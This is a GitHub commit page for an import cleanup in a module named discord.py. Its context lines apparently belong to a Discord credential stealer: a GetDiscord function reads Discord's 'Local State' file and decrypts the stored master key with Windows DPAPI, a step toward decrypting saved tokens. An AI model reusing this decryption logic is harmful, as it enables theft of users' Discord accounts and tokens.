Skip to content

Commit

Permalink
fix imports
Browse files Browse the repository at this point in the history
  • Loading branch information
hirusha-adi committed Mar 19, 2023
1 parent 5592842 commit acc6aff
Showing 1 changed file with 9 additions and 14 deletions.
23 changes: 9 additions & 14 deletions modules/applications/discord.py
Original file line number Diff line number Diff line change
@@ -1,20 +1,15 @@
import json
import os
import re
from base64 import b64decode

from ctypes import POINTER, byref
from ctypes import Structure, c_char, wintypes
from ctypes import c_buffer, cdll, windll

from ctypes import windll
from ctypes import wintypes
from ctypes import byref
from ctypes import cdll
from ctypes import Structure
from ctypes import POINTER
from ctypes import c_char
from ctypes import c_buffer
from Crypto.Cipher import AES
from base64 import b64decode
from json import loads as json_loads
import threading
import re

from config import Constant
from config import Constant
from config import ModuleManager


Expand Down Expand Up @@ -91,7 +86,7 @@ def GetDiscord(self, path, savefname):

pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f:
local_state = json_loads(f.read())
local_state = json.loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = self.CryptUnprotectData(master_key[5:])
self.mdebug(f"[{savefname}] Found and loaded master key")
Expand Down

0 comments on commit acc6aff

Please sign in to comment.